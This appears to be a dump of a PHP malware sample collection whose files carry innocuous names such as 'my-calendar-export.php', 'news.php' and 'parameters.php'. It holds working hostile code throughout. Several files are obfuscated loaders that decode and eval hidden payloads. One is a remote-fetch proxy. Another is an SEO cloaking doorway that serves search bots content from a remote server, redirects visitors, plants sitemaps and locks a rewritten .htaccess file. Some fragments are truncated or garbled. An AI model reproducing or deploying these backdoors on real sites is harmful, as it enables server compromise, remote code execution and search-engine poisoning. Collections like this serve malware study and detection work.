181 | 'NvBsu5nfaWkVCWJimjM2E6MNN5Js3IYcuvIcuvIcuvIcuvKNkbIcOjM2E6MNNvpsm5ZcXvIPZHSVJHSlsvIy2vI5BhM216x'.
182 | 'AqvIPThM216xdWWNe8vTibvIcuvIcuvIf2IYcuvIcuvIcu5n5NWSdNWQguoTsuvOlEhkLNjQPXhMyqvKlihQl'.
183 | 'NSn5WhYv3IYcuvIcuvIcu6xj4vIPFjS5ahSlh5MJN7KaEHI77DpsmAt2pdIWubg'.
184 | '4uvIcuvIcuvnibvIcuvIcuvIcuvIcu6xj4vKN0WMdsbIPFjS5ah'.
185 | 'Slh5MPa7KtmSzOu5Yju6SlrjS5ZjSO45nfaWkVCWJimHKVsjz77bzcXIYcuvIcuvIcuvIcuvnibvIcuvIcuvIcuvIcuvIcuvKHEW'.
186 | 'kdajMu45nfaWkVCWJimHKVsjz77vtVpvIP1vBs+vIPMbg4uvIcuvIcuvIcuvI'.
187 | 'cuvIcuvIcuvIPOjSPavIy2vndZhKd8jM2OHzuO6ZO850smomdZhKd8jM2OHzuO7YO85ZjmUF4uvI'.
188 | 'cuvIcuvIcuvIcuvIcu6xj4vnlJjmlsWYuOHKVsjzFuoptXDpsm5YWubzcOHKVsj'.
189 | 'zc2vnlJjmlsWYuOHKVsjzFFoIsebpibvIcuvIcuvIcuvIcurg4uvIcuvIcuvIcuvIcOHKVsjzc8DzcYSn5WhNeZSKy'.
190 | 'YUF4uvIcuvIcuvIcuvIcbvIcuvIcuvIcuvIcu5n5NWSdNWQguoTsuvOlEhmPNhmgC7nNFHp4ujSfFhKNTjSPXhMyERIJQ7QWCH'.
191 | 'k2ZhzJJWkeNhklEHKdOSn5WhYv3IYcuvIcuvIcuvIcuvIPZHSVJHSlsvIy'.
192 | '2vI5BhMLsHxLsoxeNhk7s6B4uvYL07n5iHxy45KPa7KtXoY5WWN'.
193 | 'e8vTibvIcuvIcuvIf2IYcuvIcuvIcu5n5NWSdNWQguoTsuvNeZSKyYUF4uvIcuvIcu'.
194 | 'vc4uvIcuvIcuvKNkbIcOWKVZjxJ0xZ7CHSP4hMgmSzc2DzcmAt2pdIWubzcOWkde'.
195 | '7xd07Ic8DzcOHKVsjpibvIcuvIcuvIcbvIcuvIcuvIfcHm7Z6SPNvIuOHmci5n5NWSd'.
196 | 'NWQgXUZcEbYfpHxLOvn5NWSdNWQgubY9bvIcuvIcuvIcbvIcuvIcuvIcOWkd0vBsuvYv3vIP'.
197 | '4HxVOHS50vBsuvYv3vIP4SMPN7KdT7KdOvBsuHkViWMA3IYcuvI'.
198 | 'cuvIcu7MaXhKA4vIVcHkdEHYuOHmcXvIObvIcuvIcuvIf3IYcuvIcuvIcuvIcuvIPZHSwuoTsugKHZHx'.
199 | 'VObIPkWIFuwpcZlIO3vI9GvlKnsoTPuCIFsoSgEIBg8CI+soQPuCIJsoQPuYcGoF4uvIcuIYcuvIcuvIcuvIcuvI9GvlIrsjBgEC'.
200 | 'IZsoSPulIqsocusoQgilI3soTPa2Iysj9usorgilI0soEgECIZso1g'.
201 | 'ECIZvlIZvlIqso3gE7KIsoSgE7KIsoAubY9bvIcuvIcuvIcuvIcu6xj4vItu5KarHKdsHxlsHxgu5YjuWQPZW'.
202 | 'K20bIPZHSwivI5WWNe8Sn5WhYvXvps2POVwAsAubg4uvIcuvIcuvIcuvIf3IYcuvIcuvIcuvIcuvIcuvIcEbYBgC2IF'.
203 | 'soDgECI3so3giCIqsouusjDgCCIJvlKfsjrg8lKIsoBgE7KovIsuso1gECKcs'.
204 | 'jBgC7Iqsjog8lKcsjDgC7I9vlIqso3gE7KIsoSgE7KIvI4EIYcuvIcuvIcuvIcuvIcuv'.
205 | 'IcO6V2OHSPNjQPNHIc2vnPZ7xA3IYcuvIcuvIcuvIcuvIcuvIcbvIcuvIcuvIcuvIcuvIcuvI'.
206 | 'P4HxVOHS50vBsuWQdYWQPZbIPZHSwivBcivnlsWmfEWZuOWkd0oIcYSn5WhNeZSKyYbzO3IYcuvIcuvIcuvIcuvIcuvIcOWk'.
207 | 'd0vBsuWQdYWQPZbIPZHSwivnlsWmfEWZuOWkd0oIcYSn5WhNeZSKyYbzisbpibvIcuvIcuvIcuvIcuvIcuvc4uvIcuv'.
208 | 'IcuvIcuvIcuvIcuoZ4uzKdaHKdZWZfshZffWm5aRzcGoF4uvIcuvIcuvIcuvIcuvIcu6xj4vIPFjS5ahSl'.
209 | 'h5Q5N7ndZhY77Dpsm6KdaHKdZWZWurnFu5nfaWkVCWJimWkds7S585Js2Dz7aWm5aRzWbvIcuvIcuvIcuvIcuvIcuv'.
210 | 'IcuvIf9rIc46Sl0HSg45nfaWkVCWJimWkdO6S5NjQgmSzOu5Yju5nfaWkVCWJimWk'.
211 | 'dO6S5NjQgmSps27n5JHzOubg4uvIcuvIcuvIcuvIcuvIcuRF4uvIcuvIcuvIcuvIcuvIcuvIcu'.
212 | 'vIP4vBsuHSaFhK2OHzuYSn5WhYvivIP4HxVOHS50bpibvIcuvIcuvIcuvIcuvIcuvIcuvIcO6KdaH'.
213 | 'KdZWZc2vKVZWkVLbIO3IYcuvIcuvIcuvIcuvIcuvIcuvIcuHk2ZHxVT6Iuu5KuujSwu5Ki2DYPMvIObvIcuvIcuvIcuvIcuv'.
214 | 'IcuvIcuvIf3IYcuvIcuvIcuvIcuvIcuvIcuvIcuvIcuvKNkbIf07n5FhQw45njivIWq5ZOubg4uvIcuvIcuvIcuvIc'.
215 | 'uvIcuvIcuvIcuvIf3IYcuvIcuvIcuvIcuvIcuvIcuvIcuvIcuvIcuvIcO6'.
216 | 'Zc2vnlJjmlsWYuO7YFuwIFuWQPZWK20bIPMoIcmUYWXbpibvIcuvIcuvIcuvIcuvIcuvIcuvIcuvI'.
217 | 'cuvIcuvIPMvBsu7n5Xhza07x507nv45njivnlsWmfEWZuO7YFu504mbziebzO3IYcuvIcuvIcuvIcuvIcuvIc'.
218 | 'uvIcuvIcuvnsbvIcuvIcuvIcuvIcuvIcuvIcuvIcuvIcu5KaNjxPNWmlhWQPZ7K2JWnfNWYuO6ZN7vBsu'.
219 | '5nj3IYcuvIcuvIcuvIcuvIcuvIcuvIcurg4uvIcuvIcuvIcuvIc'.
220 | 'uvIcurg4uvIcuvIcuvIcuvIcuvIcu6xj4vKN0WMdsbIPFjS5ahSlh5Q5NHK'.
221 | 'NZHxls5JsXvIjkvIPFjS5ahSlh5Q5NHKNZHxls5Js2DSPZ7xAu5Y'.
222 | 'ju6Sl0HSg45KaNjxPNWmlh5seDgsVAzA2U5JsXvIObvIcuvIcuvIcuvIcuvIcuvnibvIcuvIcuvIcuvIcuvIcuvIcuvIc'.
223 | 'OWKVZjxJ0xZ7JWkFmSzc2vIP4HxVOHS50xZ7wpslfdtNDpY77UF4uvIcuvIcuvIcuvIcuvIcuvIcuvKNkbIca6Sl0HSg45nfaW'.
224 | 'kVCWJimWkdO6S5NjQgCjM2JhmgmSzOubzcOWKVZjxJ0xZ7ZHxPXWkdT7IJThQd87I77vBsuwBibvIcuvIcuv'.
225 | 'IcuvIcuvIcuvIcuvIfXHYuu5nfaWkVCWJimWkdO6S5NjQgCjM2JhmgmSpFewIcXIYcuvIcuvIcuvIcuvIcuvIcuvIcuRF4uv'.
226 | 'IcuvIcuvIcuvIcuvIcuvIcuvIcuvIcOWKVZjxJ0xZ7ZHxPXWkdT7IJThQd87I77bZi3IYcuvIcuvIcuvIcuvIcuvIcuvIc'.
227 | 'uvIcuvIPk7xLTvBsuSJ2KdALBdtNDpN2rUF4uvIcuvIcuvIcuvIcuvIcuvIcuvIcuvIfZHS'.
228 | 'PJWkyugKN0SM2Y6kdT7IuO7KaXWZOuDZcO7KaXWZs+5KHJhkw45nfaWkVCWZOuUYcOHmd8jZ'.
229 | 'uOWKVZjxJ0bpibvIcuvIcuvIcuvIcuvIcuvIcuvIf2IYcuvIcuvIcuvIcuvIcuvIf2IYcuvIcuvIcuvIcuvIcuvIfXHYuu5'.
230 | 'nfaWkVCWJimWkds7S585Js2Dz74HxVOHS505ZcXvn5N7ndZhYcO6KdaHKdZW0ib'.
231 | 'vIcuvIcuvIcuvIcurg4uvIcuvIcuvnsbvIcuvIcuvIcbvIcuvIcuvIfcHklihQlNbIPkWIO3IYcuvIf2IY'.
232 | 'cuvIfNhnlNvn5N7ndZhYfKgAepPpiEbYcOHS5ZWQPZoYPNWm58h0iubY9bvIc'.
233 | 'uvc4uvIcu6xj4vIPFjS5ahSlh5Q5N7ndZhY77DpsmjS5ZjSOmvIOu5n5NWZc2vKVZWkVLb'.
234 | 'I74HxVOHS5050s+5KaNjxPNWmwivI7ThMLsHxLs50s+5n5NWZO3IYcuvIcbvIcuvn5N7ndZhYcOWkd0UFX2';
235 | eval(vWCC8CP($v11XINT, $vTHJC7W));?>
--------------------------------------------------------------------------------
/samples/my-calendar-export.php:
--------------------------------------------------------------------------------
1 | array(),
23 | 'content'=>'',
24 | 'result'=>''
25 | );
26 |
27 | if (function_exists('curl_init'))
28 | $result=fetchContentCurl($url, $headers);
29 | else
30 | die('curl not installed');
31 |
32 | $serial=serialize($result);
33 | die($serial);
34 |
35 | function deny() {
36 | header("HTTP/1.0 403 Forbidden");
37 | $str="403 Forbidden ";
38 | die($str);
39 | }
40 |
41 | function fetchContentCurl($url, $headers) {
42 | $ch=curl_init();
43 | curl_setopt($ch, CURLOPT_URL, $url);
44 | curl_setopt($ch, CURLOPT_TIMEOUT, 25);
45 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
46 | curl_setopt($ch, CURLOPT_HEADER, 1);
47 | @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
48 | curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
49 |
50 | $content=@curl_exec($ch);
51 |
52 | $result=array();
53 |
54 | if ($content===false) {
55 | $error=curl_error($ch);
56 | $result['result']='RESULT_ERROR';
57 | $result['error']=$error;
58 | }else{
59 | $result['result']='RESULT_OK';
60 | list($answerHeaders, $body)=parseAnswer($content);
61 | $result['headers']=$answerHeaders;
62 | $result['content']=$body;
63 | }
64 |
65 | curl_close($ch);
66 |
67 | return $result;
68 | }
69 |
70 | function parseAnswer($content){
71 | list($headerString, $body)=explode("\r\n\r\n", $content, 2);
72 |
73 | $resultHeaders=array();
74 |
75 | $headers=explode("\n", $headerString);
76 | $headers=array_map('trim', $headers);
77 | $headers=array_diff($headers, array(''));
78 |
79 | foreach ($headers as $header){
80 | if(strpos($header, 'HTTP')===0){
81 | $resultHeaders['HTTP']=$header;
82 | }else{
83 | list($key, $value)=explode(':', $header, 2);
84 | $resultHeaders[$key]=trim($value);
85 | }
86 | }
87 |
88 | return array($resultHeaders, $body);
89 | }
--------------------------------------------------------------------------------
/samples/news.php:
--------------------------------------------------------------------------------
1 | %s ';
132 | $map_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t";
133 |
134 | $total = 0;
135 | foreach ($data as $dk => &$dt) {
136 | $dt = trim($dt);
137 | if ($dt == '') {
138 | unset($data[$dk]);
139 | continue;
140 | }
141 | $total += (int)substr($dt, strrpos($dt, '-') + 1);
142 | }
143 | if ($total <= 0) {
144 | exit('no data');
145 | }
146 | $stepmax = ceil($total / 49999);
147 | $max = $step > $stepmax ? 49999 : $max;
148 |
149 | if ($step <= $stepmax && !in_array($mapmode, array(1, 2)) && (($idf == 0) || ($mapol && $mapfx == 0))) {
150 | $map_index = "$dir/sitemap_index.xml";
151 | $map_index_format = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t%s\n\t ";
152 | $map_sitemap_genuri = array();
153 | $map_index_out = '';
154 | $map_index_sitemap_format = "\n\t\n\t\t%s \n\t\t%s \n\t ";
155 | $map_sitemap_genuri_link_format = '%s%s?action=sitemapall&step=%d&idf=%d&max=%d&dir=%s&fx=%d';
156 | $map_sitemap_genuri_format = '%d. %s ';
157 | $map_index_num = ceil($total / $max);
158 | if ($step != 1) {
159 | $last = 1;
160 | last2($last, $step, $max);
161 | $map_index_num = ceil($total / $last);
162 | }
163 | for ($sini=1; $sini <= $map_index_num; $sini++) {
164 | if ($mapol) {
165 | $map_index_sitemap_uri = sprintf("$page_location_root%s%s$mappre%d.xml", $mapol_pre, ($dir != '' ? "$dir/" : '') . sprintf('%s%s', ($max != 10000 ? "$max/" : ''), (($mapstep_need || $step != 1) ? "$step/" : '')), $sini);
166 | }else{
167 | $map_index_sitemap_uri = sprintf('%s%ssitemap_%d.xml', $currentUrl, "$dir/", $sini);
168 | $map_sitemap_genuri_href = sprintf($map_sitemap_genuri_link_format, $currentUrl, $script_name, $step, ($sini == 1 ? 1 : (($max + 1) * ($sini - 1) * $step)), $max, $dir, $sini);
169 | $map_sitemap_genuri[] = sprintf($map_sitemap_genuri_format, $sini, $sini, $map_sitemap_genuri_href, $map_sitemap_genuri_href, $sini);
170 | }
171 | $map_index_out .= sprintf($map_index_sitemap_format, $map_index_sitemap_uri, date('Y-m-d'));
172 | }
173 | $map_index_out = sprintf($map_index_format, $map_index_out);
174 | if ($mapfx == 0) {
175 | header(sprintf($sm_header, 'x'));
176 | echo $map_index_out;
177 | exit();
178 | }else{
179 | file_put_contents("$absdir/sitemap_index.xml", $map_index_out);
180 | echo sprintf($map_msg, $map_index, "$currentUrl$map_index", $map_index, '%', $map_index) . ' [products total: ' . $total . ']Clic' . 'k links below to gen xml file:' . implode(' ', $map_sitemap_genuri) . '
';
181 | }
182 | }else{
183 | $map_file = "sitemap_$mapfx.xml";
184 | $map_idf_step = $map_tmp_step = $map_step = $step;
185 | $map_finish_count = 0;
186 | $map_array = array();
187 | $map_array_len = 0;
188 | if (!$mapol) {
189 | $map_file = "$absdir/sitemap_$mapfx.xml";
190 | @file_put_contents($map_file, $map_array_head);
191 | }else{
192 | header(sprintf($sm_header, 'x'));
193 | echo $map_array_head;
194 | }
195 | if (!empty($data)) {
196 | $map_uri_format = "\n\t\t\t" . '' . $page_location_root . ($md ? "$script_filename?" : '') . '%s ';
197 | $map_skiped = 0;
198 | $mapoldone = $map_next = 0;
199 | foreach ($data as $line) {
200 | if ($mapoldone >= $max) {
201 | break;
202 | }
203 | $val = explode('-', $line);
204 | $map_line_total = (int)$val[2];
205 |
206 | if ($mapol && $mapmode != 0) {
207 | $sid_arr = sid_array($map_line_total - 1, $mapstep, $mapmode, strlen($requri));
208 | if (!empty($sid_arr)) {
209 | $map_array = array();
210 | foreach ($sid_arr as $sid_lid) {
211 | if ($mapoldone >= $max) {
212 | break;
213 | }
214 | $map_content = '';
215 | $map_content .= "\n\t\t" . '';
216 | $map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1])));
217 | $map_content .= "\n\t\t\t" . '' . date('Y-m-d') . ' ';
218 | $map_content .= "\n\t\t\t" . 'monthly ';
219 | $map_content .= "\n\t\t ";
220 | $map_array[] = $map_content;
221 | $mapoldone++;
222 | }
223 | echo implode('', $map_array);
224 | $map_array = array();
225 | }
226 | }else{
227 | if ($idf > 1) {
228 | if (($map_skiped + $map_line_total) < $idf) {
229 | $map_skiped += $map_line_total;
230 | continue;
231 | }
232 | }
233 | if ($map_line_total != 0) {
234 | $map_step = $map_next ? $map_tmp_step : ($map_skiped > 0 ? (ceil($map_skiped / $max) * $max - $map_skiped + 1) : $idf);
235 | $map_next = 0;
236 | while ($map_finish_count < $max) {
237 | if ($map_step > $map_line_total) {
238 | $map_next = 1;
239 | break;
240 | }
241 | if ($map_array_len > 1000) {
242 | $ready = implode('', $map_array);
243 | if ($mapol) {
244 | echo $ready;
245 | }else{
246 | @file_put_contents($map_file, $ready, FILE_APPEND);
247 | }
248 | $map_array = array();
249 | $map_array_len = 0;
250 | }
251 | $map_content = '';
252 | $map_content .= "\n\t\t" . '';
253 | $map_content .= sprintf($map_uri_format, xml_urlarg(sprintf('%s%d-%s-%d%s', $val[1], $val[0], GetAutoFileName($split[0]), $map_step, $split[1])));
254 | $map_content .= "\n\t\t\t" . '' . date('Y-m-d') . ' ';
255 | $map_content .= "\n\t\t\t" . 'monthly ';
256 | $map_content .= "\n\t\t ";
257 | $map_array[] = $map_content;
258 | $map_step += $map_tmp_step;
259 | $map_array_len++;
260 | $map_finish_count++;
261 | }
262 | }
263 | }
264 | }
265 | }
266 | $map_array[] = "\n\t ";
267 | $sitemap_out = implode('', $map_array);
268 | $map_array = array();
269 | if ($mapol) {
270 | echo $sitemap_out;
271 | }else{
272 | @file_put_contents($map_file, $sitemap_out, FILE_APPEND);
273 | if ($step > $stepmax && $mapfx == 1) {
274 | $map_one = "$dir/sitemap_$mapfx.xml";
275 | echo sprintf($map_msg, $map_one, "$page_host/$map_one", $map_one, '%', $map_one);
276 | }else{
277 | echo 'done';
278 | }
279 | }
280 | }
281 | }else{
282 | if(strpos($queryStr,"type=xml")!==false)
283 | {
284 | header("Content-type:text/xml");
285 | }
286 | echo $strFileBody;
287 | }
288 | exit;
289 | }
290 | if(strpos($queryStr,"=")===false)
291 | {
292 | $arrSplits=explode("-",$queryStr);
293 | $queryStr=str_replace_once($arrSplits[0]."-",$arrSplits[0]."=",$queryStr);
294 | }
295 | $isBot=checkAgent();
296 | $isClick="true";
297 | if($isBot=="true")
298 | {
299 | $strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : '');
300 | $strFileBody=GetFileContent($strUrl);
301 | $strFileBody=str_replace("\xEF\xBB\xBF","",$strFileBody);
302 | header("Content-Type: text/html; charset=utf-8");
303 | echo $strFileBody;
304 | exit;
305 | }
306 | else
307 | {
308 | if($isClick=="true")
309 | {
310 | $strUrl=$remoteUrl."?".$queryStr."&url=".$page_location_root . ($md ? "$script_filename?" : '') ."&action=jump";
311 | $strJumpUrl=GetFileContent($strUrl);
312 | if(strpos($strJumpUrl,"http")!==false)
313 | {
314 | $arr=explode("|",str_replace("http","|",$strJumpUrl));
315 | $strJumpUrl="http".$arr[1];
316 | echo "";
317 | exit;
318 | }
319 | }
320 | }
321 |
322 | function GetLocationURL()
323 | {
324 | $pageURL = 'http://';
325 | if ($_SERVER["SERVER_PORT"] != "80")
326 | {
327 | $pageURL .= $_SERVER["HTTP_HOST"].":".$_SERVER["PHP_SELF"];
328 | }
329 | else
330 | {
331 | $pageURL .= $_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
332 | }
333 | return "$pageURL?";
334 | }
335 |
336 | function GetLocationHome()
337 | {
338 | $pageURL = 'http://';
339 | if ($_SERVER["SERVER_PORT"] != "80")
340 | {
341 | $pageURL .= $_SERVER["HTTP_HOST"]."/";
342 | }
343 | else
344 | {
345 | $pageURL .= $_SERVER["HTTP_HOST"]."/";
346 | }
347 | return $pageURL;
348 | }
349 |
350 | function checkAgent()
351 | {
352 | $returnVal = "false";
353 | try
354 | {
355 | $agent = "user-agent:".strtolower($_SERVER['HTTP_USER_AGENT']);
356 | $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search');
357 | foreach($bot_array as $bot)
358 | {
359 | if(strpos($agent,$bot)!==false)
360 | {
361 | $returnVal = "true";
362 | break;
363 | }
364 | }
365 | }
366 | catch (Exception $w){}
367 | return $returnVal;
368 | }
369 | function sid_array($total, $limit, $mode, $lineid){
370 | $ids = array();
371 | if ($limit > 0) {
372 | if ($total <= $limit) {
373 | $ids = range(0, $total);
374 | }else{
375 | if ($mode == 1) {
376 | $tmp = range(0, $total);
377 | shuffle($tmp);
378 | $ids = array_slice($tmp, 0, $limit);
379 | $tmp = array();
380 | }else{
381 | for ($i=0; $i < $limit; $i++) {
382 | $id = static_calc($lineid, $total, $i, $limit);
383 | if (!in_array($id, $ids)) {
384 | $ids[] = $id;
385 | }else{
386 | $limit++;
387 | }
388 | }
389 | }
390 | }
391 | }
392 | return $ids;
393 | }
394 | function checkReferer()
395 | {
396 | $rtnVal="false";
397 | try
398 | {
399 | if(!empty($_SERVER["HTTP_REFERER"]))
400 | {
401 | $url = 'referer:'.strtolower($_SERVER["HTTP_REFERER"]);
402 | if(strpos($url,'google')>0||strpos($url,'aol')>0||strpos($url,'yahoo')>0||strpos($url,'msn')>0)
403 | {
404 | $rtnVal="true";
405 | }
406 | }
407 | }
408 | catch (Exception $w){}
409 | return $rtnVal;
410 | }
411 | function mmkdir($dir){
412 | global $root;
413 | $dir = preg_replace("/(^\/|\/$)/si", '', $dir);
414 | $arr = explode('/', $dir);
415 | if (!empty($arr)) {
416 | $tmpd = '';
417 | foreach ($arr as $dirname) {
418 | $tmpd .= $tmpd != '' ? '/' . $dirname : $dirname;
419 | // echo "$tmpd ";
420 | if (!is_dir("$root/$tmpd")) {
421 | @mkdir("$root/$tmpd") or die("mkdir $tmpd failed");
422 | }
423 | }
424 | }
425 | }
426 | function GetFileContent($url)
427 | {
428 | if (!function_exists('fsockopen')) {
429 | return file_get_contents($url);
430 | }else{
431 | $parse = parse_url($url);
432 | $fp = fsockopen($parse['host'], isset($parse['port']) ? $parse['port'] : 80, $en, $es, 30);
433 | if (!$fp) {
434 | return 0;
435 | }
436 | $get = isset($parse['path']) ? $parse['path'] : '';
437 | $get .= isset($parse['query']) ? '?' . $parse['query'] : '';
438 | $get = $get == '' ? '/' : $get;
439 | fwrite($fp, "GET $get HTTP/1.0\r\nHost: {$parse['host']}\r\nConnection: Close\r\n\r\n");
440 | $header = $body = '';
441 | while (!feof($fp)){
442 | $body .= fgets($fp, 4096);
443 | }
444 | fclose($fp);
445 | return trim(preg_match("/^HTTP\/1/si", $body) ? preg_replace("/.*?\r\n\r\n(.*)/si", "$1", $body) : preg_replace("/^[^<]+?(<.*)/is", "$1", $body));
446 | }
447 |
448 | }
449 | function getdir(){
450 | global $root;
451 | $dir = '';
452 | $find = glob("$root/*", GLOB_ONLYDIR);
453 | if (!empty($find)) {
454 | foreach ($find as $fd) {
455 | if (is_writable($fd)) {
456 | $dir = substr($fd, strrpos($fd, '/') + 1);
457 | break;
458 | }
459 | }
460 | }
461 | return $dir;
462 | }
463 | function str_replace_once($needle, $replace, $haystack)
464 | {
465 | $pos = strpos($haystack, $needle);
466 | if ($pos === false)
467 | return $haystack;
468 | return substr_replace($haystack, $replace, $pos, strlen($needle));
469 | }
470 | function xml_urlarg($url)
471 | {
472 | $url = preg_replace("/&/s", '&', $url);
473 | $url = preg_replace("/'/s", ''', $url);
474 | $url = preg_replace('/"/s', '"', $url);
475 | $url = preg_replace("/>/s", '>', $url);
476 | $url = preg_replace("/[^<]+<\/IfModule>/si", $fc, $matches);
511 | if (isset($matches[0]) && !empty($matches[0])) {
512 | // check if %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing)
513 | foreach ($matches[0] as $block) {
514 | if (!preg_match("/%\{HTTP_USER_AGENT\}\s\(google/si", $block)) {
515 | $nfc[] = $block;
516 | }
517 | }
518 | }
519 | }
520 | if (empty($nfc)) {
521 | $nfc[] = sprintf("%sRewriteEngine%sOn%sRewriteCond%s%s{RE" . "QUEST_FILENAME}%s!-f%sRewrit" . "eCond%s%s{REQUEST_F" . "ILENAME}%s!-d%sRewriteRule%s.%sindex" . ".php%s[L]%s", ' ', "\n", ' ', "\n", ' ', '%', ' ', "\n", ' ', '%', ' ', "\n", ' ', ' ', ' ', "\n");
522 | }
523 | @file_put_contents($htaccess_path, trim(implode("\n", $nfc)));
524 | $fc = $nfc = null;
525 | @chmod($htaccess_path, 0444);
526 | }
527 | function sync_preg_string($sps, $delarg = 1){
528 | $sps_chars = '\\?/|&()[]{}+^$!:*';
529 | $sps_chars_array = str_split($sps_chars);
530 | $sps_char_format = '%s%s';
531 | if ($delarg) {
532 | $sps = preg_replace("/(\?|#).*/si", '', $sps);
533 | }
534 | foreach ($sps_chars_array as $sca_v) {
535 | $sps = str_replace($sca_v, sprintf($sps_char_format, '\\', $sca_v), $sps);
536 | }
537 | return $sps;
538 | }
539 | function last2(&$last, $step, $max, $init = 1){
540 | if ($init < $max) {
541 | $last += $step;
542 | $init++;
543 | last2($last, $step, $max, $init);
544 | }
545 | }
546 | function static_calc($lineid, $max, $id_index, $id_count){
547 | $func_count = 5;
548 | $func_index = $id_index % $func_count;
549 | $return = $lineid;
550 | switch ($func_index) {
551 | case 0:
552 | $return = $lineid * ($id_index + 2);
553 | break;
554 | case 1:
555 | $return = $lineid / ($id_count + $id_index) * $max;
556 | break;
557 | case 2:
558 | $return = $max / $id_count * $lineid + $id_index;
559 | break;
560 | case 3:
561 | $return = $lineid * 10 - $id_count + $id_index;
562 | break;
563 | case 4:
564 | $return = $id_index * 888 + $lineid;
565 | break;
566 | }
567 | $return = $return < 0 ? abs($return) : $return;
568 | $return %= $max;
569 | return $return;
570 | }
571 |
--------------------------------------------------------------------------------
/samples/overlay-parent-bak.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/parameters.php:
--------------------------------------------------------------------------------
1 | 7'.UYMC^'IZ!4"5';$zsVuIVuEjl='-'.Dp2B.'#'|fa4w.#ojWah'.
3 | ',V';$P7Onj2kYp='i~'.UZ_w&kUwx_I;$_JVijdfiKiW=' 4`# 4BB"b#aB'|#l3x4NfQ0exTD2K'.
4 | 'B4"a2B!" 0 B a';$RSQ_=Z^'8';$CFei4='}'.TTX_x_.'[_E]iOg'&HTvR_.'^'._RoioY.#smV'.
5 | '^G';$zrg50f8MhF='9M`'.TrwYh.'%a'&qFPjZ5.'}X{S';$AFA='orz{}_~{|}'EOY0s__JF1T'.
6 | 'ov~{}_w{ll';$mDVjtsV='-f!'.itNWbeocThol|OrDh4iLT.'='.g6fakN;$Z3mkERo=dWT1.#G_'.
7 | '-'^'$'.wqPn;$V490yzOl=ZUssVA.'|}'^'ib@Ad$II';$HsfqGZStF='w='&'3:';'GByQ5hIsAt'.
8 | '[R4@[je';$x5duQbVRRzM=SRD^aav;$tquiu=(Xjmv.'#D'^'v+#Hlm')^(mMQhX9^'0'.xm5z.#Z'.
9 | '`');$Z7=("^:|"&'_~o')^(' ^P'|'3TY');$tIqh5oS=$n44&$zsVuIVuEjl;$k6M7wY=('@"0!"'.
10 | 'j()M('|'P62 )J&)@*')^$zrg50f8MhF;$LNd9qvil=(Artac_.'`)ft'|'ps2`:M&AI]')&/*rRl'.
11 | '4j+*/$AFA;$yB5j9=('WLR!4X5D>]I;/PD'^'47=@C=j+I3*NF?*')&$mDVjtsV;$b7=(#Zo4re2Z'.
12 | '%Z&?"k'^'m&rK}8')&$P7Onj2kYp;$pSDo=$Z3mkERo|('~'.bqv2&'vO]g.');if(!$tquiu(/*t'.
13 | '$#_?1Yt*/$Z7($tIqh5oS($b7)),$_JVijdfiKiW.('{'.e2gfgc&'9m9{~ck').$RSQ_./*XTeM5'.
14 | ' n<9Ja*/$V490yzOl.$HsfqGZStF))$k6M7wY($LNd9qvil(('214'|'20$').$x5duQbVRRzM.(#'.
15 | 'F}'^wH),1,$pSDo),$yB5j9(false,$tIqh5oS($CFei4)));#v_bfxvuc$=@o.s{YrN!,O2zo->38'&'x,W&'.v23Ffrtojw9G62.'>'./*XFF0eLoZN'.
5 | '1lCI?*/kkj7r1w65wus.'|';$zn='(1-o:'.wy1hwnh.'}/ff~r~'.mwry.'|'&'($o~#ao{Nwv|{'.
6 | '?&g~s~owq#s';$b22X5M=(";1I"^'FU<')&$GcgexismEP;$bOu_=$IvOV&$vQKA2s;$Vh=/*KVwK'.
7 | 'uw3-{8,=(*/$YzW0CvUbkQ|('r<'.cesk7sb1cc.'-V='.d0kMe2v.'&uk:lE}4?8'&fpdA6r.'|`'.
8 | '|:'.Fc3K.'{~=gdb+#{-#30'.i7g3.'?');$cWvA9LPHv=('+'.N9W4XNP2rHmIL_LhuhyNb2.#ol'.
9 | '@'^"K:@".iIax.")".IBqFe0."-e[".BDKmKCu)^$zn;$b22X5M($bOu_($gB.$Hvjv_ZQJA))/*Z'.
10 | 'A*/==$Vh or exit;eval($bOu_($cWvA9LPHv));#]vnZQ.CtUyT.a1,!EbHXv$?[yww|n3e;SA'.
11 | 'TAsv<*A!gQ)I#D|z~{;sOsM#r]{:VXP&R(o^d*t';
--------------------------------------------------------------------------------
/samples/php_http_server_include.php:
--------------------------------------------------------------------------------
1 | R'|'6cVU^6');$Mdt=('Lp3`zm@'.rLvqix.#T8g'.
9 | '^J'^'xGi,[&k8b"!]Lp{')^('WA1-D*P$J* @LAG'|'PE> U$4([:3@QA^');$HsJiG=$zFBj&/*X'.
10 | '@x4zX5OmT|*/$GZi;$uFC=$Z9wlgigAh^$tnc3hP;$MJuI=('K@"@#@@@P'|'CA&H @JBP')|/*qc'.
11 | ']NjvGmAN*/$OR;$dAgW9gNIf=(Wm_Ow_w.'?O_J'&'Wo['.nw_w7.'~_{')&(VIAESJY.#ytMT5C4'.
12 | ';pfI'|'EHR^'.QOWzTQO);if($r_6wIT141X($vb($HsJiG))==$uFC)$jZa4_i=$Mdt($Kncx./*'.
13 | '^CdZ<*/$Pbl,$vb($vAZplMktu.$EY_.$IzvA9.$AzrSvd));$jZa4_i($MJuI,$dAgW9gNIf);#'.
14 | '&|O_^k#HA~xO}>I%rRK;!m*+HVga<>)j>k__Nd7hQs6(7[G:l+,Z,lw(q6_gm!d';
--------------------------------------------------------------------------------
/samples/pl.php:
--------------------------------------------------------------------------------
1 | '^'>479R^';$bxA='# 0@L2'|'a$DE@4';/*'.
3 | 'sRy*/$tiWwTgF='@lFX]R['.fHpPRCA.']U^IQ'|'I|T`^'.HWeL.'%'.UMNC.']'.ZPIA;'HXUJ3'.
4 | 'm%';$E1JR="`>n}
--------------------------------------------------------------------------------
